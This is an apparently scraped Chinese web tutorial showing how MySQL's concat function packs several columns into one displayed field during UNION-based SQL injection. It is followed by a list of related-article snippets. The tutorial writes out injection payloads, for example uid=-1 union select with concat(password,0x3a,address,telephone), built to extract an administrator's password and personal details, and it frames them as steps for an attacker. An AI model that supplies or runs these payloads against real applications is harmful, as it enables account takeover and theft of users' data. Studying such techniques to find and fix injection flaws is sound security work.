Mysql数据库使用concat函数执行SQL注入查询_Mysql

SQL注入语句有时候会使用替换查询技术,就是让原有的查询语句查不到结果出错,而让自己构造的查询语句执行,并把执行结果代替原有查询语句查询结果显示出来。

例如:原本查询语句是

复制代码 代码如下:

select username,email,content from test_table where user_id=uid;

其中uid,是用户输入的。正常显示结果会出现用户名,用户邮箱,用户留言内容。但是如果uid过滤不严,我们可以构造如下SQL语句来获得任意数据表信息。

复制代码 代码如下:

uid=-1 union select username ,password,content from test_talbe where user_id=管理员id;

实际执行就是

复制代码 代码如下:

select username,email,content from test_table where user_id=-1 union select username ,password,content from test_talbe where user_id=管理员id;

其中显示正常用户emai的地方,变成了显示管理员的密码了。

但是,往往事情并不是这么简单,首先要找到漏洞,其次构造这种语句时候要考虑各个字段的类型,让int或samllint类型的字段显示varchar显然不合适。最后就是本文要说的。

如果出现问题的SQL语句只有一个或两个字段怎么办,我们想知道很多东西,一两个字段太少了,远远不能满足我们的需要。那么我们可以使用concat函数。

concat函数本来是这样用的SELECT CONCAT('My', 'S', 'QL');执行结果是'MySQL'。也就是连接作用的。我们利用它来为我们服务,

复制代码 代码如下:

uid=-1 union select username ,concat(password,sex,address,telephone),content from test_talbe where user_id=管理员id;

这个语句实际查询了六个字段,但是显示的时候,把password,sex,address,telephone等字段合在一起,显示在原本应该显示email的地方。

更好的方法:中间用分隔符分开:

复制代码 代码如下:

uid=-1 union select username ,concat(password,0×3a,sex,0×3a,address,0×3a,telephone) ,content from test_talbe where user_id=管理员id;

其中0×3a是“:”的十六进 制形式。

时间: 2024-12-29 21:20:40

Mysql数据库使用concat函数执行SQL注入查询_Mysql的相关文章

在MySQL数据库中使用C执行SQL语句

mysql|数据|数据库|语句|执行 与PostgreSQL相似,可使用许多不同的语言来访问MySQL,包括C.C++.Java和Perl.从Professional Linux Programming中第5章有关MySQL的下列章节中,Neil Matthew和Richard Stones使用详尽的MySQL C接口向我们介绍了如何在MySQL数据库中执行SQL语句.他们将讨论返回数据的语句,例如INSERT以及不返回数据的语句,例如UPDATE和DELETE.然后,他们将编写从数据库检索数据

在MySQL数据库中使用C执行SQL语句(1)

与PostgreSQL相似,可使用许多不同的语言来访问MySQL,包括C.C++.Java和Perl.从Professional Linux Programming中第5章有关MySQL的下列章节中,Neil Matthew和Richard Stones使用详尽的MySQL C接口向我们介绍了如何在MySQL数据库中执行SQL语句.他们将讨论返回数据的语句,例如INSERT以及不返回数据的语句,例如UPDATE和DELETE.然后,他们将编写从数据库检索数据的简单程序. 执行SQL语句 现在,我

在MySQL数据库中使用C执行SQL语句(2)

返回数据的语句 现在是时候讨论SQL的最普遍用法了,从数据库检索数据的SELECT语句. MySQL 还支持返回结果的SHOW.DESCRIBE和EXPLAIN SQL语句,但是这里不考虑它们.按惯例,手册中包含这些语句的说明. 您将会从PostgreSQL章记起,可以从PQexec中的SQL SELECT 语句检索数据,这里马上获取所有数据,或者使用游标从数据库中逐行检索数据,以便搞定大数据. 由于完全相同的原因,MySQL的检索方法几乎完全相同,虽然它实际上不用游标的形式描述逐行检索.但是,

在MySQL数据库中使用C执行SQL语句的方法_Mysql

他们将讨论返回数据的语句,例如INSERT以及不返回数据的语句,例如UPDATE和DELETE.然后,他们将编写从数据库检索数据的简单程序 执行SQL语句 现在,我们已经有了一个连接,并且知道如何处理错误,是时候讨论使用我们的数据库来作一些实际工作了.执行所有类型的SQL的主关键字是mysql_query: int mysql_query(MYSQL *connection, const char *query) 正如您所见,它非常简单.它取一个指向连接结构的指针和包含要执行的SQL的文本字符串

在MySQL数据库中使用C执行SQL语句(3)

检索数据 现在开始编写从数据库中检索数据的第一个程序.我们将选择所有年龄大于5的行的内容.不幸的是我们还不知道如何处理这个数据,所以我们能做的只有循环检索它.这便是 select1.c: #include             #include             #include "mysql.h"            MYSQL my_connection;            MYSQL_RES *res_ptr;            MYSQL_ROW sqlrow

PHPcms利用xss执行sql注入

昨天看见phpcms v9.1.15爆的xss和无权限的sql注入,于是就想测试下利用xss执行sql注入,虽然爆的这个phpcms漏洞还有很多其他的用法!但是,这个注入我没有找到phpcms v9.1.15测试,其他版本都没有测试成功! 于是乎我只有假想下一个极端环境: 1.前台有且只有一个xss漏洞(不能获取管理员cookie) 2.后台有且只有一个sql注入漏洞(注入漏洞文件只有管理员可以访问) 3.注入获得管理员密码可解密 4.除以上无其他任何漏洞(包括后台getwebshell) 其实

php将mysql数据库整库导出生成sql文件的详细代码

 下面是php将mysql数据库整库导出生成sql文件的详细代码,希望对大家在用php编程时备份数据有一定帮助 由网上搜到,有更改.    文件名:db_backup.php    源代码如下:   代码如下: <?php  ini_set("max_execution_time", "180");//避免数据量过大,导出不全的情况出现.    /*    程序功能:mysql数据库备份功能  作者:唐小刚  说明:  本程序主要是从mysqladmin中提取

MySQL中的CONCAT函数使用教程

  这篇文章主要介绍了MySQL中的CONCAT函数使用教程,是Python入门学习中的基础知识,需要的朋友可以参考下 使用MySQL CONCAT()函数将两个字符串连接起来,形成一个单一的字符串.试试下面的例子: ? 1 2 3 4 5 6 7 mysql> SELECT CONCAT('FIRST ', 'SECOND'); +----------------------------+ | CONCAT('FIRST ', 'SECOND') | +--------------------

优化-PLsql 执行sql语句查询超时

问题描述 PLsql 执行sql语句查询超时 sql查询语句中字段有几十个,并且有大量的聚合函数,求最大最小值,求和之类的 ,表中数据量非常多,也建了索引,在PLsql 中执行sql语句,一直在执行,强行停止停止不下来, 怎么处理,sql语句怎么优化,数据库是不是有点问题啊 解决方案 ··· 起码把代码发上来给大家看看吧! (/ □ ) 解决方案二: 聚合函数对效率影响应该不是很大,你看看是不是子查询很多,尽量优化一下.如果不是这种情况,可以考虑索引,或者扩展数据库使用的内存大小.希望能帮到你!